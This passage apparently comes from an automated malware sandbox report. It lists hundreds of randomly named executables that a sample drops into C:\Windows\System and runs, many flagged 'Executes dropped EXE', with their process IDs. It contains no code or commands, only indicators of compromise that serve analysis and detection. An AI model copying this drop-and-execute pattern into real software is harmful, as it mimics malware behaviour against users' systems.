  C:\Windows\System\obUdrpz.exe
  2⤵
  - Executes dropped EXE
  PID:2064
- C:\Windows\System\WezrcUV.exe
  C:\Windows\System\WezrcUV.exe
  2⤵
  - Executes dropped EXE
  PID:2356
- C:\Windows\System\XxgUBUI.exe
  C:\Windows\System\XxgUBUI.exe
  2⤵
  - Executes dropped EXE
  PID:1564
- C:\Windows\System\zqXPFYm.exe
  C:\Windows\System\zqXPFYm.exe
  2⤵
  - Executes dropped EXE
  PID:3744
- C:\Windows\System\LRRxFBM.exe
  C:\Windows\System\LRRxFBM.exe
  2⤵
  - Executes dropped EXE
  PID:432
- C:\Windows\System\pjBxNJv.exe
  C:\Windows\System\pjBxNJv.exe
  2⤵
  - Executes dropped EXE
  PID:2432
- C:\Windows\System\BBybgMe.exe
  C:\Windows\System\BBybgMe.exe
  2⤵
  - Executes dropped EXE
  PID:1932
- C:\Windows\System\yWdiOCM.exe
  C:\Windows\System\yWdiOCM.exe
  2⤵
  - Executes dropped EXE
  PID:1460
- C:\Windows\System\hFpQlSt.exe
  C:\Windows\System\hFpQlSt.exe
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Windows\System\SHePavH.exe
  C:\Windows\System\SHePavH.exe
  2⤵
  - Executes dropped EXE
  PID:3596
- C:\Windows\System\THZYBNx.exe
  C:\Windows\System\THZYBNx.exe
  2⤵
  - Executes dropped EXE
  PID:1596
- C:\Windows\System\QpquoDd.exe
  C:\Windows\System\QpquoDd.exe
  2⤵
  - Executes dropped EXE
  PID:636
- C:\Windows\System\wNOBvNv.exe
  C:\Windows\System\wNOBvNv.exe
  2⤵
  - Executes dropped EXE
  PID:3300
- C:\Windows\System\gORBSkk.exe
  C:\Windows\System\gORBSkk.exe
  2⤵
  - Executes dropped EXE
  PID:1524
- C:\Windows\System\FMlMWDn.exe
  C:\Windows\System\FMlMWDn.exe
  2⤵
  - Executes dropped EXE
  PID:1504
- C:\Windows\System\fbTBYjr.exe
  C:\Windows\System\fbTBYjr.exe
  2⤵
  - Executes dropped EXE
  PID:2780
- C:\Windows\System\KReTebV.exe
  C:\Windows\System\KReTebV.exe
  2⤵
  - Executes dropped EXE
  PID:3632
- C:\Windows\System\tJhbRJX.exe
  C:\Windows\System\tJhbRJX.exe
  2⤵
  - Executes dropped EXE
  PID:4804
- C:\Windows\System\rxSZuYN.exe
  C:\Windows\System\rxSZuYN.exe
  2⤵
  - Executes dropped EXE
  PID:2684
- C:\Windows\System\fbgFNtH.exe
  C:\Windows\System\fbgFNtH.exe
  2⤵
  - Executes dropped EXE
  PID:4480
- C:\Windows\System\JirwZpa.exe
  C:\Windows\System\JirwZpa.exe
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Windows\System\UQgplvT.exe
  C:\Windows\System\UQgplvT.exe
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\System\woqcCav.exe
  C:\Windows\System\woqcCav.exe
  2⤵
  - Executes dropped EXE
  PID:5020
- C:\Windows\System\oRPsIeC.exe
  C:\Windows\System\oRPsIeC.exe
  2⤵
  - Executes dropped EXE
  PID:2820
- C:\Windows\System\pBhTlTL.exe
  C:\Windows\System\pBhTlTL.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\pFXEWVw.exe
  C:\Windows\System\pFXEWVw.exe
  2⤵
  - Executes dropped EXE
  PID:1972
- C:\Windows\System\HVsWxZs.exe
  C:\Windows\System\HVsWxZs.exe
  2⤵
  - Executes dropped EXE
  PID:4848
- C:\Windows\System\ykTueDl.exe
  C:\Windows\System\ykTueDl.exe
  2⤵
  - Executes dropped EXE
  PID:3168
- C:\Windows\System\EokDcnE.exe
  C:\Windows\System\EokDcnE.exe
  2⤵
  - Executes dropped EXE
  PID:1748
- C:\Windows\System\PhdKeuY.exe
  C:\Windows\System\PhdKeuY.exe
  2⤵
  - Executes dropped EXE
  PID:2392
- C:\Windows\System\ICOhNxf.exe
  C:\Windows\System\ICOhNxf.exe
  2⤵
  - Executes dropped EXE
  PID:880
- C:\Windows\System\sPcyGet.exe
  C:\Windows\System\sPcyGet.exe
  2⤵
  - Executes dropped EXE
  PID:1324
- C:\Windows\System\RzkgCpj.exe
  C:\Windows\System\RzkgCpj.exe
  2⤵
  - Executes dropped EXE
  PID:1400
- C:\Windows\System\XaVEzeI.exe
  C:\Windows\System\XaVEzeI.exe
  2⤵
  - Executes dropped EXE
  PID:4784
- C:\Windows\System\Ktkbmay.exe
  C:\Windows\System\Ktkbmay.exe
  2⤵
  - Executes dropped EXE
  PID:1652
- C:\Windows\System\zOxeZqL.exe
  C:\Windows\System\zOxeZqL.exe
  2⤵
  - Executes dropped EXE
  PID:1140
- C:\Windows\System\SDJybQR.exe
  C:\Windows\System\SDJybQR.exe
  2⤵
  - Executes dropped EXE
  PID:3436
- C:\Windows\System\kgtesty.exe
  C:\Windows\System\kgtesty.exe
  2⤵
  - Executes dropped EXE
  PID:2128
- C:\Windows\System\qQZtfnG.exe
  C:\Windows\System\qQZtfnG.exe
  2⤵
  - Executes dropped EXE
  PID:3896
- C:\Windows\System\SGDboPG.exe
  C:\Windows\System\SGDboPG.exe
  2⤵
  - Executes dropped EXE
  PID:1456
- C:\Windows\System\bWXKUqO.exe
  C:\Windows\System\bWXKUqO.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\GeQLNkz.exe
  C:\Windows\System\GeQLNkz.exe
  2⤵
  - Executes dropped EXE
  PID:4032
- C:\Windows\System\DbfscMA.exe
  C:\Windows\System\DbfscMA.exe
  2⤵
  - Executes dropped EXE
  PID:4664
- C:\Windows\System\XUonOGN.exe
  C:\Windows\System\XUonOGN.exe
  2⤵
  - Executes dropped EXE
  PID:1356
- C:\Windows\System\pJvTpjz.exe
  C:\Windows\System\pJvTpjz.exe
  2⤵
  - Executes dropped EXE
  PID:2036
- C:\Windows\System\uFlIbKX.exe
  C:\Windows\System\uFlIbKX.exe
  2⤵
  - Executes dropped EXE
  PID:3824
- C:\Windows\System\abKwwiO.exe
  C:\Windows\System\abKwwiO.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\msuOGwT.exe
  C:\Windows\System\msuOGwT.exe
  2⤵
  - Executes dropped EXE
  PID:5076
- C:\Windows\System\TAuBUsM.exe
  C:\Windows\System\TAuBUsM.exe
  2⤵
  - Executes dropped EXE
  PID:1448
- C:\Windows\System\LTIAnqH.exe
  C:\Windows\System\LTIAnqH.exe
  2⤵
  - Executes dropped EXE
  PID:4968
- C:\Windows\System\wGRjLRC.exe
  C:\Windows\System\wGRjLRC.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\WODaQvM.exe
  C:\Windows\System\WODaQvM.exe
  2⤵
  - Executes dropped EXE
  PID:3560
- C:\Windows\System\XeGThMf.exe
  C:\Windows\System\XeGThMf.exe
  2⤵
  PID:5064
- C:\Windows\System\kssGTpr.exe
  C:\Windows\System\kssGTpr.exe
  2⤵
  PID:4572
- C:\Windows\System\eGMBfir.exe
  C:\Windows\System\eGMBfir.exe
  2⤵
  PID:2412
- C:\Windows\System\jjspmhz.exe
  C:\Windows\System\jjspmhz.exe
  2⤵
  PID:4448
- C:\Windows\System\OusFWEn.exe
  C:\Windows\System\OusFWEn.exe
  2⤵
  PID:4312
- C:\Windows\System\gCIsDSZ.exe
  C:\Windows\System\gCIsDSZ.exe
  2⤵
  PID:1252
- C:\Windows\System\CPvhevT.exe
  C:\Windows\System\CPvhevT.exe
  2⤵
  PID:2788
- C:\Windows\System\xRHllyv.exe
  C:\Windows\System\xRHllyv.exe
  2⤵
  PID:5052
- C:\Windows\System\gRxwgkB.exe
  C:\Windows\System\gRxwgkB.exe
  2⤵
  PID:680
- C:\Windows\System\yKBYPsE.exe
  C:\Windows\System\yKBYPsE.exe
  2⤵
  PID:3912
- C:\Windows\System\lOxVtit.exe
  C:\Windows\System\lOxVtit.exe
  2⤵
  PID:1996
- C:\Windows\System\NfZInPE.exe
  C:\Windows\System\NfZInPE.exe
  2⤵
  PID:2104
- C:\Windows\System\LSICobD.exe
  C:\Windows\System\LSICobD.exe
  2⤵
  PID:5132
- C:\Windows\System\mvOzhAC.exe
  C:\Windows\System\mvOzhAC.exe
  2⤵
  PID:5148
- C:\Windows\System\cbgsLld.exe
  C:\Windows\System\cbgsLld.exe
  2⤵
  PID:5168
- C:\Windows\System\CmsFsPH.exe
  C:\Windows\System\CmsFsPH.exe
  2⤵
  PID:5196
- C:\Windows\System\YQxjtwq.exe
  C:\Windows\System\YQxjtwq.exe
  2⤵
  PID:5216
- C:\Windows\System\Wtepupn.exe
  C:\Windows\System\Wtepupn.exe
  2⤵
  PID:5232
- C:\Windows\System\IgAUeSU.exe
  C:\Windows\System\IgAUeSU.exe
  2⤵
  PID:5256
- C:\Windows\System\ORCSmIt.exe
  C:\Windows\System\ORCSmIt.exe
  2⤵
  PID:5272
- C:\Windows\System\HTdVDEY.exe
  C:\Windows\System\HTdVDEY.exe
  2⤵
  PID:5288
- C:\Windows\System\miHmtid.exe
  C:\Windows\System\miHmtid.exe
  2⤵
  PID:5304
- C:\Windows\System\ZdJtmfi.exe
  C:\Windows\System\ZdJtmfi.exe
  2⤵
  PID:5324
- C:\Windows\System\JaxvWQw.exe
  C:\Windows\System\JaxvWQw.exe
  2⤵
  PID:5344
- C:\Windows\System\FddwHip.exe
  C:\Windows\System\FddwHip.exe
  2⤵
  PID:5364
- C:\Windows\System\UCyGxQQ.exe
  C:\Windows\System\UCyGxQQ.exe
  2⤵
  PID:5384
- C:\Windows\System\XPbQZPh.exe
  C:\Windows\System\XPbQZPh.exe
  2⤵
  PID:5400
- C:\Windows\System\HZjFWJw.exe
  C:\Windows\System\HZjFWJw.exe
  2⤵
  PID:5416
- C:\Windows\System\cgKwuEA.exe
  C:\Windows\System\cgKwuEA.exe
  2⤵
  PID:5436
- C:\Windows\System\xBQOmOB.exe
  C:\Windows\System\xBQOmOB.exe
  2⤵
  PID:5452
- C:\Windows\System\WdOLadm.exe
  C:\Windows\System\WdOLadm.exe
  2⤵
  PID:5472
- C:\Windows\System\dCgCySH.exe
  C:\Windows\System\dCgCySH.exe
  2⤵
  PID:5492
- C:\Windows\System\OIMefCa.exe
  C:\Windows\System\OIMefCa.exe
  2⤵
  PID:5516
- C:\Windows\System\tPrTboq.exe
  C:\Windows\System\tPrTboq.exe
  2⤵
  PID:5532
- C:\Windows\System\aXguLQC.exe
  C:\Windows\System\aXguLQC.exe
  2⤵
  PID:5552
- C:\Windows\System\WhfrGHf.exe
  C:\Windows\System\WhfrGHf.exe
  2⤵
  PID:5568
- C:\Windows\System\DsVBwNg.exe
  C:\Windows\System\DsVBwNg.exe
  2⤵
  PID:5584
- C:\Windows\System\BUAymDN.exe
  C:\Windows\System\BUAymDN.exe
  2⤵
  PID:5604
- C:\Windows\System\SUCYHuE.exe
  C:\Windows\System\SUCYHuE.exe
  2⤵
  PID:5620
- C:\Windows\System\YGYGRcP.exe
  C:\Windows\System\YGYGRcP.exe
  2⤵
  PID:5636
- C:\Windows\System\zcmXuoR.exe
  C:\Windows\System\zcmXuoR.exe
  2⤵
  PID:5652
- C:\Windows\System\MMAOvUQ.exe
  C:\Windows\System\MMAOvUQ.exe
  2⤵
  PID:5672
- C:\Windows\System\HIWgSbU.exe
  C:\Windows\System\HIWgSbU.exe
  2⤵
  PID:5692
- C:\Windows\System\OmrudDE.exe
  C:\Windows\System\OmrudDE.exe
  2⤵
  PID:5716
- C:\Windows\System\nEmnjXa.exe
  C:\Windows\System\nEmnjXa.exe
  2⤵
  PID:5784
- C:\Windows\System\YGGwlPk.exe
  C:\Windows\System\YGGwlPk.exe
  2⤵
  PID:5812
- C:\Windows\System\xElFvpB.exe
  C:\Windows\System\xElFvpB.exe
  2⤵
  PID:5832
- C:\Windows\System\QCfwOWE.exe
  C:\Windows\System\QCfwOWE.exe
  2⤵
  PID:5848
- C:\Windows\System\JLFCfJZ.exe
  C:\Windows\System\JLFCfJZ.exe
  2⤵
  PID:5864
- C:\Windows\System\QTkldlt.exe
  C:\Windows\System\QTkldlt.exe
  2⤵
  PID:5880
- C:\Windows\System\FRVJuVL.exe
  C:\Windows\System\FRVJuVL.exe
  2⤵
  PID:5900
- C:\Windows\System\tedpzqh.exe
  C:\Windows\System\tedpzqh.exe
  2⤵
  PID:5952
- C:\Windows\System\icOshJj.exe
  C:\Windows\System\icOshJj.exe
  2⤵
  PID:5968
- C:\Windows\System\FyGDTWs.exe
  C:\Windows\System\FyGDTWs.exe
  2⤵
  PID:5988
- C:\Windows\System\dYCIiiQ.exe
  C:\Windows\System\dYCIiiQ.exe
  2⤵
  PID:6008
- C:\Windows\System\czKvhyP.exe
  C:\Windows\System\czKvhyP.exe
  2⤵
  PID:6032
- C:\Windows\System\aYBGWAt.exe
  C:\Windows\System\aYBGWAt.exe
  2⤵
  PID:6052
- C:\Windows\System\vVyenPU.exe
  C:\Windows\System\vVyenPU.exe
  2⤵
  PID:6076
- C:\Windows\System\FGsUpLs.exe
  C:\Windows\System\FGsUpLs.exe
  2⤵
  PID:6092
- C:\Windows\System\PkwNRFk.exe
  C:\Windows\System\PkwNRFk.exe
  2⤵
  PID:6116
- C:\Windows\System\whUokXq.exe
  C:\Windows\System\whUokXq.exe
  2⤵
  PID:6132
- C:\Windows\System\LuxPVMw.exe
  C:\Windows\System\LuxPVMw.exe
  2⤵
  PID:3704
- C:\Windows\System\SzBfeXF.exe
  C:\Windows\System\SzBfeXF.exe
  2⤵
  PID:3928
- C:\Windows\System\AdAIYFF.exe
  C:\Windows\System\AdAIYFF.exe
  2⤵
  PID:1888
- C:\Windows\System\KVAWebF.exe
  C:\Windows\System\KVAWebF.exe
  2⤵
  PID:4896
- C:\Windows\System\YZZbyJs.exe
  C:\Windows\System\YZZbyJs.exe
  2⤵
  PID:5048
- C:\Windows\System\nzsCIeh.exe
  C:\Windows\System\nzsCIeh.exe
  2⤵
  PID:1572
- C:\Windows\System\PIdhDoS.exe
  C:\Windows\System\PIdhDoS.exe
  2⤵
  PID:1304
- C:\Windows\System\dtYYCDk.exe
  C:\Windows\System\dtYYCDk.exe
  2⤵
  PID:5088
- C:\Windows\System\rKbIyKf.exe
  C:\Windows\System\rKbIyKf.exe
  2⤵
  PID:2800
- C:\Windows\System\egYGegn.exe
  C:\Windows\System\egYGegn.exe
  2⤵
  PID:5212
- C:\Windows\System\aZGHBCo.exe
  C:\Windows\System\aZGHBCo.exe
  2⤵
  PID:2108
- C:\Windows\System\vldECMR.exe
  C:\Windows\System\vldECMR.exe
  2⤵
  PID:6152
- C:\Windows\System\pKQheDY.exe
  C:\Windows\System\pKQheDY.exe
  2⤵
  PID:6172
- C:\Windows\System\qIxxkoD.exe
  C:\Windows\System\qIxxkoD.exe
  2⤵
  PID:6188
- C:\Windows\System\vQyQgIP.exe
  C:\Windows\System\vQyQgIP.exe
  2⤵
  PID:6208
- C:\Windows\System\dyrbNIo.exe
  C:\Windows\System\dyrbNIo.exe
  2⤵
  PID:6224
- C:\Windows\System\gmCaNNW.exe
  C:\Windows\System\gmCaNNW.exe
  2⤵
  PID:6240
- C:\Windows\System\xTecziW.exe
  C:\Windows\System\xTecziW.exe
  2⤵
  PID:6260
- C:\Windows\System\VCaMnYG.exe
  C:\Windows\System\VCaMnYG.exe
  2⤵
  PID:6276
- C:\Windows\System\dECMZfw.exe
  C:\Windows\System\dECMZfw.exe
  2⤵
  PID:6292
- C:\Windows\System\xeaasIZ.exe
  C:\Windows\System\xeaasIZ.exe
  2⤵
  PID:6312
- C:\Windows\System\ezOjBzs.exe
  C:\Windows\System\ezOjBzs.exe
  2⤵
  PID:6328
- C:\Windows\System\rCoqYxu.exe
  C:\Windows\System\rCoqYxu.exe
  2⤵
  PID:6348
- C:\Windows\System\YhgMRRR.exe
  C:\Windows\System\YhgMRRR.exe
  2⤵
  PID:6364
- C:\Windows\System\PztzmaH.exe
  C:\Windows\System\PztzmaH.exe
  2⤵
  PID:6384
- C:\Windows\System\QtXYxpv.exe
  C:\Windows\System\QtXYxpv.exe
  2⤵
  PID:6400
- C:\Windows\System\kvJJFiJ.exe
  C:\Windows\System\kvJJFiJ.exe
  2⤵
  PID:6416
- C:\Windows\System\kDaXJQa.exe
  C:\Windows\System\kDaXJQa.exe
  2⤵
  PID:6432
- C:\Windows\System\KyHoQTO.exe
  C:\Windows\System\KyHoQTO.exe
  2⤵
  PID:6452
- C:\Windows\System\nyApoyU.exe
  C:\Windows\System\nyApoyU.exe
  2⤵
  PID:6468
- C:\Windows\System\wpVkfuE.exe
  C:\Windows\System\wpVkfuE.exe
  2⤵
  PID:6488
- C:\Windows\System\gkuaaDq.exe
  C:\Windows\System\gkuaaDq.exe
  2⤵
  PID:6508
- C:\Windows\System\uOEEBUV.exe
  C:\Windows\System\uOEEBUV.exe
  2⤵
  PID:6524
- C:\Windows\System\uiDMgJn.exe
  C:\Windows\System\uiDMgJn.exe
  2⤵
  PID:6548
- C:\Windows\System\xdNNvAB.exe
  C:\Windows\System\xdNNvAB.exe
  2⤵
  PID:6564
- C:\Windows\System\wfCbqrO.exe
  C:\Windows\System\wfCbqrO.exe
  2⤵
  PID:6804
- C:\Windows\System\RPmjufi.exe
  C:\Windows\System\RPmjufi.exe
  2⤵
  PID:6840
- C:\Windows\System\GCKJUfm.exe
  C:\Windows\System\GCKJUfm.exe
  2⤵
  PID:3720
- C:\Windows\System\lsRAuBM.exe
  C:\Windows\System\lsRAuBM.exe
  2⤵
  PID:5612
- C:\Windows\System\cUVhSBf.exe
  C:\Windows\System\cUVhSBf.exe
  2⤵
  PID:4120
- C:\Windows\System\SRYHUQZ.exe
  C:\Windows\System\SRYHUQZ.exe
  2⤵
  PID:4376
- C:\Windows\System\aUaERTo.exe
  C:\Windows\System\aUaERTo.exe
  2⤵
  PID:2784
- C:\Windows\System\YZtmlwa.exe
  C:\Windows\System\YZtmlwa.exe
  2⤵
  PID:2236
- C:\Windows\System\yzdDmpq.exe
  C:\Windows\System\yzdDmpq.exe
  2⤵
  PID:4520
- C:\Windows\System\wrssQop.exe
  C:\Windows\System\wrssQop.exe
  2⤵
  PID:5336
- C:\Windows\System\SGmYXDb.exe
  C:\Windows\System\SGmYXDb.exe
  2⤵
  PID:5300
- C:\Windows\System\ImHafYb.exe
  C:\Windows\System\ImHafYb.exe
  2⤵
  PID:5208
- C:\Windows\System\UmYPRCF.exe
  C:\Windows\System\UmYPRCF.exe
  2⤵
  PID:5144
- C:\Windows\System\agJaSfc.exe
  C:\Windows\System\agJaSfc.exe
  2⤵
  PID:4884
- C:\Windows\System\YZXKaUj.exe
  C:\Windows\System\YZXKaUj.exe
  2⤵
  PID:5412
- C:\Windows\System\MaQcAII.exe
  C:\Windows\System\MaQcAII.exe
  2⤵
  PID:5380
- C:\Windows\System\ckHgGus.exe
  C:\Windows\System\ckHgGus.exe
  2⤵
  PID:5352
- C:\Windows\System\efSxLum.exe
  C:\Windows\System\efSxLum.exe
  2⤵
  PID:5564
- C:\Windows\System\mqVeYRG.exe
  C:\Windows\System\mqVeYRG.exe
  2⤵
  PID:5632
- C:\Windows\System\gkkOgOE.exe
  C:\Windows\System\gkkOgOE.exe
  2⤵
  PID:5700
- C:\Windows\System\QDBvODV.exe
  C:\Windows\System\QDBvODV.exe
  2⤵
  PID:5660
- C:\Windows\System\kUAugPg.exe
  C:\Windows\System\kUAugPg.exe
  2⤵
  PID:5760
- C:\Windows\System\YUrrfMh.exe
  C:\Windows\System\YUrrfMh.exe
  2⤵
  PID:5780
- C:\Windows\System\SOeXUkG.exe
  C:\Windows\System\SOeXUkG.exe
  2⤵
  PID:5820
- C:\Windows\System\VRcgBCe.exe
  C:\Windows\System\VRcgBCe.exe
  2⤵
  PID:5844
- C:\Windows\System\WVmklPT.exe
  C:\Windows\System\WVmklPT.exe
  2⤵
  PID:5876
- C:\Windows\System\TapmqTF.exe
  C:\Windows\System\TapmqTF.exe
  2⤵
  PID:5916
- C:\Windows\System\sAZYPrk.exe
  C:\Windows\System\sAZYPrk.exe
  2⤵
  PID:5976
- C:\Windows\System\sfxBxxP.exe
  C:\Windows\System\sfxBxxP.exe
  2⤵
  PID:6004
- C:\Windows\System\kOxBONp.exe
  C:\Windows\System\kOxBONp.exe
  2⤵
  PID:6044
- C:\Windows\System\UyPSMab.exe
  C:\Windows\System\UyPSMab.exe
  2⤵
  PID:6068
- C:\Windows\System\GAMAwAQ.exe
  C:\Windows\System\GAMAwAQ.exe
  2⤵
  PID:6104
- C:\Windows\System\iyjZNeS.exe
  C:\Windows\System\iyjZNeS.exe
  2⤵
  PID:6140
- C:\Windows\System\bPiJJjT.exe
  C:\Windows\System\bPiJJjT.exe
  2⤵
  PID:3100
- C:\Windows\System\HkrTelk.exe
  C:\Windows\System\HkrTelk.exe
  2⤵
  PID:764
- C:\Windows\System\tEHQzow.exe
  C:\Windows\System\tEHQzow.exe
  2⤵
  PID:3996
- C:\Windows\System\LQYlMEM.exe
  C:\Windows\System\LQYlMEM.exe
  2⤵
  PID:4944
- C:\Windows\System\aUDXLCt.exe
  C:\Windows\System\aUDXLCt.exe
  2⤵
  PID:4428
- C:\Windows\System\ukrKglW.exe
  C:\Windows\System\ukrKglW.exe
  2⤵
  PID:5204
- C:\Windows\System\Wqpmxpd.exe
  C:\Windows\System\Wqpmxpd.exe
  2⤵
  PID:2456
- C:\Windows\System\vyTbItC.exe
  C:\Windows\System\vyTbItC.exe
  2⤵
  PID:6168
- C:\Windows\System\axvjJES.exe
  C:\Windows\System\axvjJES.exe
  2⤵
  PID:6200
- C:\Windows\System\WfZyIdm.exe
  C:\Windows\System\WfZyIdm.exe
  2⤵
  PID:6236
- C:\Windows\System\WoNcjZe.exe
  C:\Windows\System\WoNcjZe.exe
  2⤵
  PID:6268
- C:\Windows\System\VGneLOv.exe
  C:\Windows\System\VGneLOv.exe
  2⤵
  PID:6300
- C:\Windows\System\KgoVXZF.exe
  C:\Windows\System\KgoVXZF.exe
  2⤵
  PID:6336
- C:\Windows\System\nGVmFei.exe
  C:\Windows\System\nGVmFei.exe
  2⤵
  PID:6360
- C:\Windows\System\iqPVvLu.exe
  C:\Windows\System\iqPVvLu.exe
  2⤵
  PID:6396
- C:\Windows\System\DnZUiWW.exe
  C:\Windows\System\DnZUiWW.exe
  2⤵
  PID:6460
- C:\Windows\System\PEzJels.exe
  C:\Windows\System\PEzJels.exe
  2⤵
  PID:6516
- C:\Windows\System\quUDsuR.exe
  C:\Windows\System\quUDsuR.exe
  2⤵
  PID:6540
- C:\Windows\System\INYJQXT.exe
  C:\Windows\System\INYJQXT.exe
  2⤵
  PID:2496
- C:\Windows\System\HYrzlLg.exe
  C:\Windows\System\HYrzlLg.exe
  2⤵
  PID:6756
- C:\Windows\System\gbRwOSZ.exe
  C:\Windows\System\gbRwOSZ.exe
  2⤵
  PID:6812
- C:\Windows\System\XkuzvzL.exe
  C:\Windows\System\XkuzvzL.exe
  2⤵
  PID:6868
- C:\Windows\System\SMTZVQP.exe
  C:\Windows\System\SMTZVQP.exe
  2⤵
  PID:6920
- C:\Windows\System\enEFmev.exe
  C:\Windows\System\enEFmev.exe
  2⤵
  PID:6956
- C:\Windows\System\rXDDTYB.exe
  C:\Windows\System\rXDDTYB.exe
  2⤵
  PID:7012
- C:\Windows\System\SZJfYyl.exe
  C:\Windows\System\SZJfYyl.exe
  2⤵
  PID:7052
- C:\Windows\System\iTECCAn.exe
  C:\Windows\System\iTECCAn.exe
  2⤵
  PID:7100
- C:\Windows\System\vgxNngd.exe
  C:\Windows\System\vgxNngd.exe
  2⤵
  PID:3024
- C:\Windows\System\TWGtbZq.exe
  C:\Windows\System\TWGtbZq.exe
  2⤵
  PID:6820
- C:\Windows\System\yKuxxKb.exe
  C:\Windows\System\yKuxxKb.exe
  2⤵
  PID:7184
- C:\Windows\System\UwtZWtx.exe
  C:\Windows\System\UwtZWtx.exe
  2⤵
  PID:7208
- C:\Windows\System\SKmXtQR.exe
  C:\Windows\System\SKmXtQR.exe
  2⤵
  PID:7228
- C:\Windows\System\cbgzGUw.exe
  C:\Windows\System\cbgzGUw.exe
  2⤵
  PID:7248
- C:\Windows\System\NtwFHgM.exe
  C:\Windows\System\NtwFHgM.exe
  2⤵
  PID:7268
- C:\Windows\System\ZYcVKOo.exe
  C:\Windows\System\ZYcVKOo.exe
  2⤵
  PID:7288
- C:\Windows\System\yrRGqvL.exe
  C:\Windows\System\yrRGqvL.exe
  2⤵
  PID:7308
- C:\Windows\System\HrBfUCw.exe
  C:\Windows\System\HrBfUCw.exe
  2⤵
  PID:7324
- C:\Windows\System\HDYYAoP.exe
  C:\Windows\System\HDYYAoP.exe
  2⤵
  PID:7348
- C:\Windows\System\DEaYiOq.exe
  C:\Windows\System\DEaYiOq.exe
  2⤵
  PID:7364
- C:\Windows\System\CjJBMZm.exe
  C:\Windows\System\CjJBMZm.exe
  2⤵
  PID:7388
- C:\Windows\System\nvrauqv.exe
  C:\Windows\System\nvrauqv.exe
  2⤵
  PID:7412
- C:\Windows\System\KxqaRJU.exe
  C:\Windows\System\KxqaRJU.exe
  2⤵
  PID:7432
- C:\Windows\System\PtAhcpu.exe
  C:\Windows\System\PtAhcpu.exe
  2⤵
  PID:7452
- C:\Windows\System\HcBJDAD.exe
  C:\Windows\System\HcBJDAD.exe
  2⤵
  PID:7476
- C:\Windows\System\IpKsuQz.exe
  C:\Windows\System\IpKsuQz.exe
  2⤵
  PID:7492
- C:\Windows\System\lFwSoWd.exe
  C:\Windows\System\lFwSoWd.exe
  2⤵
  PID:7516
- C:\Windows\System\vbVFKMx.exe
  C:\Windows\System\vbVFKMx.exe
  2⤵
  PID:7564
- C:\Windows\System\ZsbyDPw.exe
  C:\Windows\System\ZsbyDPw.exe
  2⤵
  PID:7588
- C:\Windows\System\bfgWWKk.exe
  C:\Windows\System\bfgWWKk.exe
  2⤵
  PID:7608
- C:\Windows\System\KDMVgnC.exe
  C:\Windows\System\KDMVgnC.exe
  2⤵
  PID:7632
- C:\Windows\System\AlJDIxG.exe
  C:\Windows\System\AlJDIxG.exe
  2⤵
  PID:7652
- C:\Windows\System\BdYoDmQ.exe
  C:\Windows\System\BdYoDmQ.exe
  2⤵
  PID:7680
- C:\Windows\System\EwRoXhn.exe
  C:\Windows\System\EwRoXhn.exe
  2⤵
  PID:7716
- C:\Windows\System\IFtdyyV.exe
  C:\Windows\System\IFtdyyV.exe
  2⤵
  PID:7744
- C:\Windows\System\sZTxAUT.exe
  C:\Windows\System\sZTxAUT.exe
  2⤵
  PID:7760
- C:\Windows\System\QENVgcb.exe
  C:\Windows\System\QENVgcb.exe
  2⤵
  PID:7784
- C:\Windows\System\xOCADBr.exe
  C:\Windows\System\xOCADBr.exe
  2⤵
  PID:7808
- C:\Windows\System\YttBNEy.exe
  C:\Windows\System\YttBNEy.exe
  2⤵
  PID:7828
- C:\Windows\System\CVjNcRj.exe
  C:\Windows\System\CVjNcRj.exe
  2⤵
  PID:7856
- C:\Windows\System\KxijWeR.exe
  C:\Windows\System\KxijWeR.exe
  2⤵
  PID:7876
- C:\Windows\System\yxWllXp.exe
  C:\Windows\System\yxWllXp.exe
  2⤵
  PID:7896
- C:\Windows\System\SDTUQZV.exe
  C:\Windows\System\SDTUQZV.exe
  2⤵
  PID:7912
- C:\Windows\System\mbIowaR.exe
  C:\Windows\System\mbIowaR.exe
  2⤵
  PID:7940
- C:\Windows\System\TZsinlj.exe
  C:\Windows\System\TZsinlj.exe
  2⤵
  PID:7964
- C:\Windows\System\VBydBPo.exe
  C:\Windows\System\VBydBPo.exe
  2⤵
  PID:7980
- C:\Windows\System\xRLCFWN.exe
  C:\Windows\System\xRLCFWN.exe
  2⤵
  PID:8004
- C:\Windows\System\qJkKqQb.exe
  C:\Windows\System\qJkKqQb.exe
  2⤵
  PID:8024
- C:\Windows\System\TsgCRbs.exe
  C:\Windows\System\TsgCRbs.exe
  2⤵
  PID:8044
- C:\Windows\System\yUNwHSH.exe
  C:\Windows\System\yUNwHSH.exe
  2⤵
  PID:8060
- C:\Windows\System\zuLJRmd.exe
  C:\Windows\System\zuLJRmd.exe
  2⤵
  PID:8076
- C:\Windows\System\cfTvOCZ.exe
  C:\Windows\System\cfTvOCZ.exe
  2⤵
  PID:8092
- C:\Windows\System\jCzxval.exe
  C:\Windows\System\jCzxval.exe
  2⤵
  PID:8112
- C:\Windows\System\aheeNDB.exe
  C:\Windows\System\aheeNDB.exe
  2⤵
  PID:8132
- C:\Windows\System\AtkogkX.exe
  C:\Windows\System\AtkogkX.exe
  2⤵
  PID:8148
- C:\Windows\System\FyJqGqY.exe
  C:\Windows\System\FyJqGqY.exe
  2⤵
  PID:8172
- C:\Windows\System\gFZiVDD.exe
  C:\Windows\System\gFZiVDD.exe
  2⤵
  PID:8188
- C:\Windows\System\VfTaoiB.exe
  C:\Windows\System\VfTaoiB.exe
  2⤵
  PID:8216
- C:\Windows\System\yOKMGDK.exe
  C:\Windows\System\yOKMGDK.exe
  2⤵
  PID:8232
- C:\Windows\System\KzzCQEg.exe
  C:\Windows\System\KzzCQEg.exe
  2⤵
  PID:8252
- C:\Windows\System\yTZHjBL.exe
  C:\Windows\System\yTZHjBL.exe
  2⤵
  PID:8268
- C:\Windows\System\MCDUlDN.exe
  C:\Windows\System\MCDUlDN.exe
  2⤵
  PID:8284
- C:\Windows\System\VJBgIPR.exe
  C:\Windows\System\VJBgIPR.exe
  2⤵
  PID:8472
- C:\Windows\System\Ozqnspv.exe
  C:\Windows\System\Ozqnspv.exe
  2⤵
  PID:8504
- C:\Windows\System\FDBAdoI.exe
  C:\Windows\System\FDBAdoI.exe
  2⤵
  PID:8524
- C:\Windows\System\mIWzkyC.exe
